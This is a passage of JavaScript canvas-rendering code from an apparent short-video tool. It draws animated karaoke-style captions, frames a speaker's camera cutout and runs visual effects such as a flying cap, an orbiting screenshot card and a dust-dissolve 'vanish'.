    const cy = SPL ? camTopAt(seam) + (scap.splitDy ?? 0) : onCam ? (yk ?? scap.fullY ?? 760) + (zoomAt(t) - 1) * (scap.zoomDrop ?? 0) : scap.paperY ?? 960;
    let top = cy - L.h / 2;
    ctx.save(); ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic'; ctx.fillStyle = !onCam && scap.paperColor ? scap.paperColor : scap.color || '#FFFFFF';
    const sk = SPL ? scap.splitScale ?? .62 : !onCam && scap.paperScale || 1;
    if (sk !== 1) { ctx.translate(W / 2, cy); ctx.scale(sk, sk); ctx.translate(-W / 2, -cy); }
    if (onCam) { ctx.shadowColor = 'rgba(0,0,0,.38)'; ctx.shadowBlur = SCS * .3; ctx.shadowOffsetY = SCS * .04; }
    const ga = ctx.globalAlpha;
    for (const l of L.lines) {
      const base = top + l.y + (l.big ? l.big * (BB ? .88 : .76) : SCS * .8) * TALL, x0 = l.big ? 0 : W / 2 - l.width / 2 + l.dx;
      if (l.big) fBig(l.big); else fSmall();
      for (const it of l.items) {
        const p = BLUR ? S(t - it.w.start + .03, 28) : scap.snap ? (t >= it.w.start - .03 ? 1 : 0) : S(t - it.w.start + .03, 40); if (p <= .002) continue;
        const x = l.big ? W / 2 - l.width / 2 + l.dx + it.x : x0 + it.x, k = l.big && !BLUR ? lerp(1.12, 1, p) : 1;
        if (BLUR && p < .998) ctx.filter = `blur(${((1 - p) * (l.big || SCS) * .12).toFixed(2)}px)`;
        ctx.globalAlpha = ga * Math.min(1, p * 1.6);
        if (k !== 1) { ctx.save(); ctx.translate(W / 2, base - l.big * .36); ctx.scale(k, k); ctx.translate(-W / 2, -(base - l.big * .36)); }
        if (TALL !== 1) { ctx.save(); ctx.translate(0, base); ctx.scale(1, TALL); ctx.translate(0, -base); }
        if (l.big && it.w.start < OUT_END) {
          ctx.save(); ctx.shadowColor = 'transparent'; ctx.lineJoin = 'round'; ctx.lineWidth = l.big * (OUT.width ?? .07) * 2;
          ctx.strokeStyle = OUT.color || C.blue; ctx.strokeText(it.text, x, base); ctx.restore();
        }
        if (l.big && BB && (it.w.emph || !l.paper && scap.bigBlock !== 'emph')) {   // the accent block under the big word, white on blue
          const tw = ctx.measureText(it.text).width, px = l.big * .12;
          ctx.save(); ctx.fillStyle = C.blue; ctx.beginPath(); ctx.roundRect(x - px, base - l.big * .84, tw + 2 * px, l.big * .98, l.big * .12); ctx.fill();
          ctx.shadowColor = 'transparent'; ctx.fillStyle = C.onBlue; ctx.fillText(it.text, x, base); ctx.restore();
        } else ctx.fillText(it.text, x, base);
        ctx.filter = 'none';
        if (TALL !== 1) ctx.restore();
        if (k !== 1) ctx.restore();
      }
    }
    ctx.restore();
  }
  // captions.radius: corner radius of the band block as a multiple of size (.06); captions.shadow: a soft drop under it
  // captions.active (a colour, e.g. '#8A8A8A'): karaoke on the band, the words not being said take that colour and the
  // word being said takes captions.color (white); an emphasised word keeps captions.hi when it is not the current one
  function bandCaption(c, y, t) {
    const sp = spW(), padX = CS * .2, h = CS * 1.2, x0 = W / 2 - c.w / 2, b = K.midBase(y, CS);
    // captions.bg 'none': no block, the words sit on the video with a soft shadow (captions.shadow false = none)
    ctx.save(); if (cap.bg === 'none') { if (cap.shadow !== false) K.drop(ctx, .35, CS * .25, CS * .04, '0,0,0'); }
    else { ctx.beginPath(); ctx.roundRect(x0 - padX, y - h / 2, c.w + 2 * padX, h, CS * (cap.radius ?? .06)); ctx.fillStyle = cap.bg || C.ink; if (cap.shadow) K.drop(ctx, .28, CS * .45, CS * .17, '0,0,0'); ctx.fill(); ctx.shadowColor = 'transparent'; }
    ctx.font = K.font(CS, WT, CF); ctx.letterSpacing = LS + 'px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic';
    // captions.bold: faux bold for a single-weight font, a square stroke in the text colour of bold x size px (pixel fonts stay square)
    const BW = cap.bold ? cap.bold * CS : 0; if (BW) { ctx.lineWidth = BW; ctx.lineJoin = 'miter'; ctx.miterLimit = 2; }
    let cur = -1; if (cap.active && t !== undefined) c.words.forEach((w, i) => { if (w.start - .02 <= t) cur = i; });
    let x = x0; for (const [i, w] of c.words.entries()) {
      const fg = cap.color || '#FFFFFF';
      ctx.fillStyle = ctx.strokeStyle = cap.active ? (i === cur ? fg : w.emph ? cap.hi || C.tint : cap.active) : w.emph ? cap.hi || C.tint : fg;
      if (BW) ctx.strokeText(w.text, x, b); ctx.fillText(w.text, x, b); x += wordW(w) + sp;
    }
    ctx.restore();
  }
  // 'dim' (speedy-devv): the phrase builds word by word on 1-2 centered lines; spoken words grey (captions.color,
  // captions.dimWeight), the current word white (captions.hi) at captions.weight, an emphasised word keeps its dark
  // pill (captions.pill, full radius) once said. Each word blurs in like rise's block-less words. Lines are laid out
  // on the whole chunk, so a word appears in place and the line never re-centers under the reader.
  function dimCaption(c, t, y) {
    const sp = spW(), DW = cap.dimWeight || 500, LH = CS * 1.22, maxW = W - 320;
    let cur = -1; c.words.forEach((w, i) => { if (w.start - .02 <= t) cur = i; });
    if (cur < 0) return;
    ctx.save(); ctx.font = K.font(CS, WT, CF);
    // laid out on the VISIBLE words only, re-centered as the phrase builds (his "These" sits alone, dead center)
    const vis = c.words.slice(0, cur + 1).map((w, i) => ({ w, ww: wordW(w), gi: i }));
    const lines = [[]]; let lw = 0;
    for (const o of vis) { if (lw && lw + sp + o.ww > maxW) { lines.push([]); lw = 0; } lw += (lw ? sp : 0) + o.ww; lines[lines.length - 1].push(o); }
    ctx.letterSpacing = LS + 'px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic';
    lines.forEach((l, li) => {
      const cy = y + (li - (lines.length - 1) / 2) * LH, b = K.midBase(cy, CS);
      let x = W / 2 - l.reduce((a, o, i) => a + o.ww + (i ? sp : 0), 0) / 2;
      for (const o of l) {
        const { w, ww, gi } = o, wx = x; x += ww + sp;
        const q = smooth(clamp((t - w.start) / .18)), emph = !!w.emph, isCur = gi === cur;
        ctx.save(); ctx.globalAlpha *= Math.max(q, .001);
        const bl = (1 - q) * CS * .13; if (bl > .3) ctx.filter = `blur(${(bl * ctx.getTransform().a).toFixed(2)}px)`;
        if (emph) { const h = CS * 1.24; ctx.beginPath(); ctx.roundRect(wx - CS * .34, cy - h / 2, ww + CS * .68, h, h / 2); ctx.fillStyle = cap.pill || '#2B2B2B'; ctx.fill(); }
        ctx.font = K.font(CS, isCur || emph ? WT : DW, CF); ctx.fillStyle = isCur || emph ? cap.hi || '#FFFFFF' : cap.color || '#8E8E8E';
        ctx.fillText(w.text, wx, b); ctx.restore();
      }
    });
    ctx.restore();
  }
  function captionLine(c, t, y, base) {
    if (CNAME === 'band') return bandCaption(c, y, t);
    if (CNAME === 'dim') return dimCaption(c, t, y);
    if (CSTY) {   // whole-chunk look: fades and rises per chunk like capStyles, scaled from its 84 px design size
      const p = S(t - c.start + .12, 30), k = CS / (cdraw.base || 84); ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.4);
      ctx.translate(W / 2, y + (1 - p) * 18); ctx.scale(k, k); ctx.translate(-W / 2, -y); cdraw(ctx, c, y, t); ctx.restore(); return;
    }
    const sp = K.measure(ctx, ' ', CS, WT, LS, CF); let wx = W / 2 - c.w / 2;
    const vis = c.words.map(w => { const p = S(t - w.start + .04, 30), x = wx; wx += wordW(w) + sp; return { w, p, x }; }).filter(v => v.p > .002);
    ctx.save(); ctx.font = K.font(CS, WT, CF); ctx.letterSpacing = LS + 'px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic';
    ctx.lineJoin = 'round'; ctx.lineWidth = STROKE; ctx.strokeStyle = C.sheet;
    K.drop(ctx, .28, 22, 6); const ga = ctx.globalAlpha;
    for (const { w, p, x } of vis) { ctx.globalAlpha = ga * Math.min(1, p * 1.4); ctx.strokeText(w.text, x, base + (1 - p) * 18); }
    ctx.shadowColor = 'transparent';
    for (const { w, p, x } of vis) { ctx.globalAlpha = ga * Math.min(1, p * 1.4); ctx.fillStyle = w.emph ? C.blue : C.ink; ctx.fillText(w.text, x, base + (1 - p) * 18); }
    ctx.restore();
  }
  // Word-block captions: the word being said sits on an accent block from its start until the next word starts.
  // rise: the line blurs in per chunk (blur .12em -> 0 + fade, no slide), white words with a soft shadow (ink once the
  // line sits on bare paper, where white would vanish); the full-height block + white word blur in over ~.15 s
  // (blur .16em -> 0, scale 1.04 -> 1, fade) and fade out in place (.12 s) when the next word starts. Nothing grows,
  // shrinks or slides. hard: the line rises in (.24em), ink words with a paper outline, the block is a flat rect with a
  // hard ink shadow that fades in over .1 s. Inside the block the word is C.onBlue (white, ink on a light accent like
  // yellow), clipped to the block.
  let riseL = null;   // scratch layer for the rise blur-in / fade-out: block + white word composited at one alpha (an exact crossfade)
  const smooth = x => x * x * (3 - 2 * x);
  function blockCaption(c, t, y, seam, camTop0, hook) {
    // captions.blur false (rise only): no blur, no settle; the line snaps in and the block jumps word to word (.05 s cuts)
    const rise = CNAME === 'rise', crisp = rise && cap.blur === false, base = K.midBase(y, CS), bh = CS * 1.22, top = y - bh * .5, lead = .04;
    const p = crisp ? clamp((t - c.start + .04) / .05) : S(t - c.start + .08, 30);
    // rise: ink while the line sits on bare paper (white would vanish there), white once it is over the video
    const camTop = camTop0 ?? (seam <= 2 ? -1e4 : camTopAt(seam));
    // across the camera edge: each half its own ink; a scaled hook line is drawn in its own space, so map the edge into it
    const edge = hook ? hook[0] + (camTop - hook[0]) / hook[1] : camTop, split = rise && cap.straddle && edge > top && edge < top + bh;
    const inkMix = rise && cap.color ? 0 : rise ? split ? 1 : clamp((camTop - y) / (bh * .5)) : 1, R = CS * (rise ? .14 : .1);
    let x = W / 2 - c.w / 2;
    const ws = c.words.map((w, i) => {
      const bw = wordW(w) + 2 * PADX, a = w.start - lead, b = i + 1 < c.words.length ? c.words[i + 1].start - lead : Infinity;
      const q = crisp ? clamp((t - a) / .05) : rise ? S(t - a, 28) : clamp((t - a) / .1) * (1 - clamp((t - b) / .1));
      const f = crisp ? 1 - clamp((t - b) / .05) : rise ? 1 - smooth(clamp((t - b) / .12)) : 1;
      const o = { w, x, bw, q, f }; x += bw + GAP; return o;
    });
    const word = (o, fill) => { ctx.fillStyle = fill; ctx.fillText(o.w.text, o.x + PADX, base); };
    // captions.block false (rise only): no accent block; each word appears when said and blurs in on its own (.16em -> 0)
    const lineB = rise && !crisp && !NOBLK ? (1 - p) * CS * .12 : 0;   // rise: the line blurs in, no slide
    ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.4); if (!rise) ctx.translate(0, (1 - p) * CS * .24);
    if (lineB > .3) ctx.filter = `blur(${(lineB * ctx.getTransform().a).toFixed(2)}px)`;
    ctx.font = K.font(CS, WT, CF); ctx.letterSpacing = LS + 'px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic'; ctx.lineJoin = 'round';
    const ga = ctx.globalAlpha, inkC = rise ? cap.color || mixHex('#FFFFFF', C.ink, inkMix) : C.ink;   // captions.color (rise): one word color everywhere, e.g. white on a dark paper
    if (split) {   // ink words on a soft paper glow (no hard outline: the creator 2026-10-14 found the white border dirty), so they read on the video
      ctx.save(); ctx.shadowColor = C.sheet; ctx.shadowOffsetY = 0;
      for (const bl of [.5, .22]) { ctx.shadowBlur = CS * bl; for (const o of ws) word(o, C.ink); }
      ctx.restore();
      for (const o of ws) word(o, C.ink);
    } else if (rise) {
      // captions.shadow (rise, default 1): strength of the soft shadow under the white words on the video
      const SH = cap.shadow ?? 1;
      ctx.shadowColor = `rgba(0,0,0,${Math.min(.9, .45 * SH * (1 - inkMix)).toFixed(3)})`; ctx.shadowBlur = CS * .13 * Math.sqrt(SH); ctx.shadowOffsetY = CS * .03 * SH;
      if (NOBLK) for (const o of ws) {
        if (o.q <= .002) continue;
        const b = crisp ? 0 : (1 - o.q) * CS * .16;
        ctx.save(); ctx.globalAlpha = ga * Math.min(1, o.q * 1.25); if (b > .3) ctx.filter = `blur(${(b * ctx.getTransform().a).toFixed(2)}px)`;
        word(o, inkC); ctx.restore();
      } else for (const o of ws) word(o, inkC);
      ctx.shadowColor = 'transparent';
    } else {   // paper outline + the line's soft drop shadow; a word's outline fades out as its block fades in
      ctx.shadowColor = 'rgba(40,28,10,.3)'; ctx.shadowBlur = CS * .09; ctx.shadowOffsetY = CS * .05; ctx.lineWidth = CS * .22; ctx.strokeStyle = C.sheet;
      for (const o of ws) if (o.q < .998) { ctx.globalAlpha = ga * (1 - o.q); ctx.strokeText(o.w.text, o.x + PADX, base); }
      ctx.globalAlpha = ga; ctx.shadowColor = 'transparent';
      for (const o of ws) if (o.q < .998) { ctx.globalAlpha = ga * (1 - o.q); word(o, inkC); }   // ink crossfades to the white word
      ctx.globalAlpha = ga;
    }
    const riseBlock = (g, o, by, h, r) => {
      g.beginPath(); g.roundRect(o.x, by, o.bw, h, r); g.fillStyle = C.blue; g.fill(); g.clip();
      g.fillStyle = C.onBlue; g.fillText(o.w.text, o.x + PADX, base);
    };
    ctx.filter = 'none';
    if (NOBLK) { ctx.restore(); return; }
    for (const o of ws) {
      if (o.q <= .002 || o.f <= .002) continue;
      const h = bh, by = top, r = Math.min(R, h / 2);
      if (rise && (o.q < .998 || o.f < .998 || lineB > .3)) {   // blurring in or fading out: draw it sharp on a layer, composite once
        const m = ctx.getTransform(), cw = canvas.width, chh = canvas.height;
        const b = crisp ? 0 : Math.hypot((1 - o.q) * CS * .16, lineB), sc = crisp ? 1 : 1 + .04 * (1 - o.q), pad = 3 * b + o.bw * .05 + 4;
        const sx = Math.max(0, Math.floor(m.a * (o.x - pad) + m.e)), sy = Math.max(0, Math.floor(m.d * (by - pad) + m.f));
        const sw = Math.min(cw, Math.ceil(m.a * (o.x + o.bw + pad) + m.e)) - sx, sh = Math.min(chh, Math.ceil(m.d * (by + h + pad) + m.f)) - sy;
        if (sw <= 0 || sh <= 0) continue;
        const L = riseL ||= new OffscreenCanvas(cw, chh).getContext('2d');
        L.setTransform(1, 0, 0, 1, 0, 0); L.clearRect(sx, sy, sw, sh); L.setTransform(m);
        L.font = ctx.font; L.letterSpacing = ctx.letterSpacing; L.textAlign = 'left'; L.textBaseline = 'alphabetic';
        L.save(); riseBlock(L, o, by, h, r); L.restore();
        const cx = m.a * (o.x + o.bw / 2) + m.e, cy = m.d * (by + h / 2) + m.f;   // scale about the block center: it settles in place
        ctx.save(); ctx.setTransform(1, 0, 0, 1, 0, 0); ctx.globalAlpha = ga * Math.min(1, o.q * 1.25) * o.f;
        if (b > .3) ctx.filter = `blur(${(b * m.a).toFixed(2)}px)`;
        ctx.drawImage(L.canvas, sx, sy, sw, sh, cx + (sx - cx) * sc, cy + (sy - cy) * sc, sw * sc, sh * sc); ctx.restore();
        continue;
      }
      ctx.save();
      if (rise) { riseBlock(ctx, o, by, h, r); ctx.restore(); continue; }
      if (!rise) {   // hard: the block fades in with a solid ink offset shadow, under the line's soft one
        ctx.globalAlpha = ga * o.q; ctx.shadowColor = 'rgba(40,28,10,.3)'; ctx.shadowBlur = CS * .09; ctx.shadowOffsetY = CS * .05;
        ctx.beginPath(); ctx.roundRect(o.x + CS * .07, by + CS * .07, o.bw, h, r); ctx.fillStyle = C.ink; ctx.fill(); ctx.shadowColor = 'transparent';
      }
      ctx.beginPath(); ctx.roundRect(o.x, by, o.bw, h, r); ctx.fillStyle = C.blue; ctx.fill();
      word(o, C.onBlue); ctx.restore();
    }
    ctx.restore();
  }

  // ---- camera
  const eyes = spec.cam?.eyes || [600, 400], [, , CW, CHh] = spec.cam?.crop || [0, 0, 1200, 1080];
  const camFit = (t, seam) => {
    const full = 1 - clamp(seam / 760), R = camRect(seam), z = zoomAt(t) * lerp(spec.cam?.splitZoom ?? 1.2, 1, full);
    const s = Math.max(R.w / CW, R.h / CHh) * z, bias = lerp(FR ? .37 : .32, .36, full);   // framed: a bit more headroom in the shorter card
    const y0 = clamp(R.y + R.h * bias - eyes[1] * s, R.y + R.h - CHh * s, R.y);
    return { s, x0: clamp(R.x + R.w / 2 - eyes[0] * s, R.x + R.w - CW * s, R.x), y0 };
  };
  // where a standard cutout stands on the paper (eyes at x, feet of the frame at bottom)
  const cutT = c => { const s = c.scale || 1.15; return { s, x0: (c.x ?? W / 2) - eyes[0] * s, y0: (c.bottom ?? H) - CHh * s }; };
  // during a hand-off the camera rides with the cutout: eyes glide from the cutout spot to the camera framing
  const lerpT = (A, B, p) => ({ s: lerp(A.s, B.s, p), x0: lerp(A.x0, B.x0, p), y0: lerp(A.y0, B.y0, p) });
  // a ride cutout reframes the camera: bottom-aligned at its scale, so the head can sit above the seam (the matte draws it there)
  const rideCut = t => stdCuts.find(c => c.ride && t >= c.from && t < c.to);
  const camT = (t, seam) => {
    const rc = rideCut(t);
    if (rc) { const s = Math.max(W / CW, rc.scale ?? 1.3) * zoomAt(t); return { s, x0: clamp(W / 2 - eyes[0] * s, W - CW * s, 0), y0: H - CHh * s }; }
    const T = camFit(t, seam), c = hoCut(t); if (!c) return T;
    const p = S(t - c.ho, 9); if (p >= .999) return T;
    const A = cutT(c), s = lerp(A.s, T.s, p);
    const ex = lerp(A.x0 + eyes[0] * A.s, T.x0 + eyes[0] * T.s, p), ey = lerp(A.y0 + eyes[1] * A.s, T.y0 + eyes[1] * T.s, p);
    return { s, x0: ex - eyes[0] * s, y0: ey - eyes[1] * s };
  };
  const roomIn = t => { const c = hoCut(t); return c ? Math.min(1, S(t - c.ho, 10) * 1.15) : 1; };
  // pause (tl.pause): the frozen frame drains to grey, colour comes back on resume
  const pz = tl.pause, pauseP = t => pz ? S(t - pz.t0, 18) * (1 - S(t - pz.t0 - pz.dur, 18)) : 0;
  const SIL = new OffscreenCanvas(CW, CHh), silx = SIL.getContext('2d');
  function backdrops(t, T, cam, cutImg) {
    const wipe = L => L.hard ? +(t >= L.at) : S(t - L.at, L.w || 6);
    let i0 = -1; layers.forEach((L, i) => { if (wipe(L) >= .999) i0 = i; });
    if (i0 >= 0 && layers[i0].kind === 'cam' && !layers[i0].img && i0 === layers.length - 1) return;   // back to the real room
    const draw = (L, imgs) => {
      if (L.kind === 'paper') ctx.drawImage(BG, 0, 0);
      else if (L.kind === 'cam') { if (cam) ctx.drawImage(cam, T.x0, T.y0, CW * T.s, CHh * T.s); }
      else { const im = imgs.get(L.url); if (im) { const k = 1.08 - .06 * clamp((t - L.at) / 12); K.cover(ctx, im, W / 2 - W * k / 2, H / 2 - H * k / 2, W * k, H * k, 0, L.focus || [.5, .5]); } }
      const ti = L.imgUrl && imgs.get(L.imgUrl); if (ti) ctx.drawImage(ti, 0, 0, W, H);
    };
    let top = null, prevSt = 0, topP = 1;
    layers.forEach((L, i) => {
      if (i < Math.max(0, i0) || t < L.at) return;
      const p = wipe(L); if (p <= .001) return;
      const [ox, oy] = L.origin || [W / 2, H / 2], R0 = Math.hypot(Math.max(ox, W - ox), Math.max(oy, H - oy)) * p;
      ctx.save(); ctx.beginPath(); ctx.arc(ox, oy, R0, 0, Math.PI * 2); ctx.clip(); draw(L, R_imgs); ctx.restore();
      if (p < .995) { ctx.save(); ctx.beginPath(); ctx.arc(ox, oy, R0, 0, Math.PI * 2); ctx.strokeStyle = 'rgba(252,251,248,.9)'; ctx.lineWidth = 10 * (1 - p) + 2; ctx.stroke(); ctx.restore(); }
      prevSt = top ? (top.sticker ? 1 : 0) : 0; top = L; topP = p;
    });
    if (!top || !cutImg) return;
    const cw = CW * T.s, ch = CHh * T.s, onCam = top.kind === 'cam';
    const stick = lerp(prevSt, top.sticker ? 1 : 0, topP), a = onCam ? 1 - topP : 1;
    if (stick > .01) {   // paper-cut sticker: white silhouette offset around the person, with a soft drop shadow
      silx.globalCompositeOperation = 'source-over'; silx.clearRect(0, 0, CW, CHh); silx.drawImage(cutImg, 0, 0, CW, CHh);
      silx.globalCompositeOperation = 'source-in'; silx.fillStyle = C.sheet; silx.fillRect(0, 0, CW, CHh);
      ctx.save(); ctx.globalAlpha = stick * a;
      K.drop(ctx, .28, 30, 12, '40,28,10'); ctx.drawImage(SIL, T.x0, T.y0 + 4, cw, ch); ctx.shadowColor = 'transparent';
      const r = 9; for (let k = 0; k < 12; k++) { const an = k * Math.PI / 6; ctx.drawImage(SIL, T.x0 + Math.cos(an) * r, T.y0 + Math.sin(an) * r, cw, ch); }
      ctx.restore();
    }
    if (cf && t >= cf.from && t <= cf.to + 1.2) capFly(t, T, cutImg);
    else ctx.drawImage(cutImg, T.x0, T.y0, cw, ch);
  }

  // ---- capfly {from, to, land: [x, y], scale}: the white cap leaves the head, flies into the backdrop, comes back.
  // The cap is keyed out of the person cutout (bright, unsaturated pixels in the top of the frame).
  const capCache = new WeakMap();
  function capKey(img) {
    let r = capCache.get(img); if (r) return r;
    const w = img.width, h = img.height, cv = new OffscreenCanvas(w, h), c = cv.getContext('2d', { willReadFrequently: true });
    c.drawImage(img, 0, 0); const d = c.getImageData(0, 0, w, h), px = d.data, sp = new OffscreenCanvas(w, h), sc = sp.getContext('2d'), sd = sc.createImageData(w, h);
    const lim = Math.round(eyes[1] * .86 * h / CHh); let x0 = w, y0 = h, x1 = 0, y1 = 0;
    const soft = Math.round(eyes[1] * .86 * h / CHh), isCap = i => px[i + 3] > 60 && Math.min(px[i], px[i + 1], px[i + 2]) > 62 && Math.max(px[i], px[i + 1], px[i + 2]) - Math.min(px[i], px[i + 1], px[i + 2]) < 38;
    for (let y = 0; y < lim; y++) {
      if (y >= soft) { let n = 0; for (let x = 0; x < w; x++) if (isCap((y * w + x) * 4)) n++; if (n < 140) continue; }   // brim rows only, never the glasses
      for (let x = 0; x < w; x++) {
      const i = (y * w + x) * 4, R = px[i], G = px[i + 1], B = px[i + 2], A = px[i + 3];
      if (isCap(i)) {
        sd.data.set([R, G, B, A], i); px[i] = 30; px[i + 1] = 22; px[i + 2] = 20;
        if (x < x0) x0 = x; if (x > x1) x1 = x; if (y < y0) y0 = y; if (y > y1) y1 = y;
      }
    } }
    for (let y = 0; y < lim; y++) {   // close the holes (logo, seams): fill each solid cap row between its first and last key
      let a0 = -1, a1 = -1, n = 0;
      for (let x = 0; x < w; x++) { const i = (y * w + x) * 4; if (sd.data[i + 3]) { n++; if (a0 < 0) a0 = x; a1 = x; } }
      if (n < 140) continue;
      for (let x = a0; x <= a1; x++) { const i = (y * w + x) * 4; if (px[i + 3] > 60 && !sd.data[i + 3]) { sd.data.set([px[i], px[i + 1], px[i + 2], px[i + 3]], i); px[i] = 30; px[i + 1] = 22; px[i + 2] = 20; } }
    }
    c.putImageData(d, 0, 0); sc.putImageData(sd, 0, 0);
    r = { cv, sp, box: x1 > x0 ? [x0, y0, x1 - x0 + 1, y1 - y0 + 1] : null, k: CW / w }; capCache.set(img, r); return r;
  }
  function capFly(t, T, cutImg) {
    const cur = capKey(cutImg), src = R_imgs.get(cutURL(cf.from)), spr = src && capKey(src);
    const back = S(t - cf.to, 5), done = back > .985;
    ctx.drawImage(done ? cutImg : cur.cv, T.x0, T.y0, CW * T.s, CHh * T.s);
    if (!done && back > .6) { ctx.save(); ctx.globalAlpha = (back - .6) / .4; ctx.drawImage(cutImg, T.x0, T.y0, CW * T.s, CHh * T.s); ctx.restore(); }
    if (done || !spr?.box) return;
    const k = spr.k * T.s, [bx, by, bw, bh] = spr.box, home = (b, kk) => [T.x0 + (b[0] + b[2] / 2) * kk, T.y0 + (b[1] + b[3] / 2) * kk];
    const [hx, hy] = home(spr.box, k), [rx, ry] = cur.box ? home(cur.box, cur.k * T.s) : [hx, hy];
    const go = S(t - cf.from, 4.2), [lx, ly] = cf.land || [880, 620], ls = cf.scale ?? .35;
    let x = lerp(hx, lx, go), y = lerp(hy, ly, go) - Math.sin(go * Math.PI) * 180, sc = lerp(1, ls, go), rot = go * -.5;
    x = lerp(x, rx, back); y = lerp(y, ry, back) - Math.sin(back * Math.PI) * 140; sc = lerp(sc, 1, back); rot = lerp(rot, 0, back);
    ctx.save(); ctx.translate(x, y); ctx.rotate(rot); ctx.scale(sc, sc);
    K.drop(ctx, .35, 24, 10, '0,0,0');
    ctx.drawImage(spr.sp, bx, by, bw, bh, -bw * k / 2, -bh * k / 2, bw * k, bh * k); ctx.restore();
  }

  // ---- orbit {src, from, orbitFrom, jumpAt, to, w}: a screenshot card presented, then orbiting around the head
  // (behind him on the far side, using the matte), then diving into his stomach.
  function orbit(t, seam, cutImg) {
    if (!ob || t < ob.from - .5 || t > ob.to + .3) return;
    const im = R_imgs.get('/p/' + ob.src); if (!im) return;
    const T = camT(t, seam), fx = T.x0 + eyes[0] * T.s, fy = T.y0 + eyes[1] * T.s, w0 = ob.w || 600, ar = im.height / im.width;
    const pin = S(t - ob.from + .3, 11), orb = S(t - ob.orbitFrom, 7), jump = S(t - ob.jumpAt, 6);
    const th = Math.max(0, t - ob.orbitFrom) * TAU * (ob.rev ?? .55), dep = Math.cos(th);
    let x = lerp(W / 2, fx + Math.sin(th) * 360, orb), y = lerp(250 + w0 * ar / 2, fy - 40 + dep * 60, orb), w = lerp(w0, w0 * (.5 + .14 * dep), orb);
    const bx = fx, by = fy + 560 * T.s / 1.6;
    x = lerp(x, bx, jump); y = lerp(y, by, jump) - Math.sin(jump * Math.PI) * 220; w = lerp(w, 30, jump);
    const behind = orb > .3 && (jump > .55 || (dep < 0 && jump < .2));
    const a = Math.min(1, pin * 1.4) * (1 - S(t - ob.to, 14)), h = w * ar;
    if (a < .003) return;
    ctx.save(); ctx.globalAlpha = a; ctx.translate(x, y + (1 - pin) * 60); ctx.rotate(orb * (1 - jump) * Math.sin(th) * .12 + jump * .8);
    K.drop(ctx, .35, 40, 14, '0,0,0');
    ctx.beginPath(); ctx.roundRect(-w / 2, -h / 2, w, h, w * .05); ctx.fillStyle = '#fff'; ctx.fill(); ctx.shadowColor = 'transparent';
    ctx.clip(); ctx.drawImage(im, -w / 2, -h / 2, w, h); ctx.restore();
    if (behind && cutImg) { ctx.save(); ctx.clip(camClip(seam)); ctx.drawImage(cutImg, T.x0, T.y0, CW * T.s, CHh * T.s); ctx.restore(); }
  }
  const TAU = Math.PI * 2;
  let R_imgs = new Map();
  // ---- vanish (spec.vanish {from, to, backAt, back .45, cell 12}): the camera turns to dust between from and to, swept left
  // to right (each block drifts up and right, shrinks, fades), the paper shows through, then from backAt the dust flies
  // back in. Keep it clear of a split <-> full window transition.
  // vanish.plate (an image of the empty room, see short.mjs plateFrame): only the speaker turns to dust, the room stays.
  // His silhouette, a bit dilated, is filled with the plate, so the wall and the props behind him show through.
  const VN = spec.vanish, VC = VN ? new OffscreenCanvas(W, H) : null, vcx = VC?.getContext('2d');
  const RF = VN?.plate ? new OffscreenCanvas(1, 1) : null, rfx = RF?.getContext('2d');
  let vnBox = null;
  function roomFill(cutI, plate) {
    RF.width = cutI.width; RF.height = cutI.height;
    rfx.globalCompositeOperation = 'source-over'; rfx.filter = `blur(${VN.grow ?? 10}px)`;
    for (let k = 0; k < 5; k++) rfx.drawImage(cutI, 0, 0);   // stacked blurs = his alpha grown by a few px, soft edge
    rfx.filter = 'none'; rfx.globalCompositeOperation = 'source-in'; rfx.drawImage(plate, 0, 0, RF.width, RF.height);
    return RF;
  }
  // his box at vanish.from (fractions of the cam frame), fixed so the dust grid never shifts while he moves
  function personBox(cutI) {
    if (vnBox) return vnBox;
    const w = 120, h = Math.round(w * cutI.height / cutI.width), cv = new OffscreenCanvas(w, h), c = cv.getContext('2d', { willReadFrequently: true });
    c.drawImage(cutI, 0, 0, w, h);
    const d = c.getImageData(0, 0, w, h).data;
    let a = w, b = h, e = -1, f = -1;
    for (let y = 0; y < h; y++) for (let x = 0; x < w; x++) if (d[(y * w + x) * 4 + 3] > 40) { a = Math.min(a, x); b = Math.min(b, y); e = Math.max(e, x); f = Math.max(f, y); }
    return vnBox = e < 0 ? [0, 0, 1, 1] : [a / w, b / h, (e + 1) / w, (f + 1) / h];
  }
  const vanishP = t => !VN || t < VN.from ? 0 : VN.backAt != null && t >= VN.backAt ? 1 - E5(clamp((t - VN.backAt) / (VN.back ?? .45))) : clamp((t - VN.from) / Math.max(.1, VN.to - VN.from));
  function dust(p, bx, by, bw, bh) {
    const c = VN.cell ?? 12, cols = Math.ceil(bw / c), rows = Math.ceil(bh / c), keep = new Path2D(), fly = [];
    for (let j = 0; j < rows; j++) {
      let run = -1;
      for (let i = 0; i <= cols; i++) {
        const n = K.hash(i * 13.1 + j * 71.7), q = i < cols ? clamp((p - (.62 * i / cols + .12 * (1 - j / rows) + .26 * n) * .72) / .28) : 1;
        if (q <= 0) { if (run < 0) run = i; continue; }
        if (run >= 0) { keep.rect(bx + run * c, by + j * c, (i - run) * c, c); run = -1; }
        if (q < 1) fly.push(i, j, q, n);
      }
    }
    ctx.save(); ctx.clip(keep); ctx.drawImage(VC, 0, 0, W, H); ctx.restore();
    ctx.save();
    for (let k = 0; k < fly.length; k += 4) {
      const sx = bx + fly[k] * c, sy = by + fly[k + 1] * c, q = fly[k + 2], n = fly[k + 3], z = 1 - .65 * q;
      const dx = q ** 1.5 * (240 + 420 * n), dy = -(q ** 1.2) * (160 + 300 * K.hash(n * 91 + 3)) + Math.sin(q * 5 + n * 9) * 18 * q;
      ctx.globalAlpha = (1 - q) ** 1.3; ctx.drawImage(VC, sx, sy, c, c, sx + dx, sy + dy, c * z, c * z);
    }
    ctx.restore();
  }
  function camera(img, t, seam, cutImg) {
    if (!img || seam >= H - 1) return;
    const T = camT(t, seam), { s, x0, y0 } = T, fade = roomIn(t);
    if (fade <= .002) return;
    const FRm = FR && seam > 2 ? camRect(seam) : null;
    if (FRm && FRm.h < 4) return;
    const vp = vanishP(t);
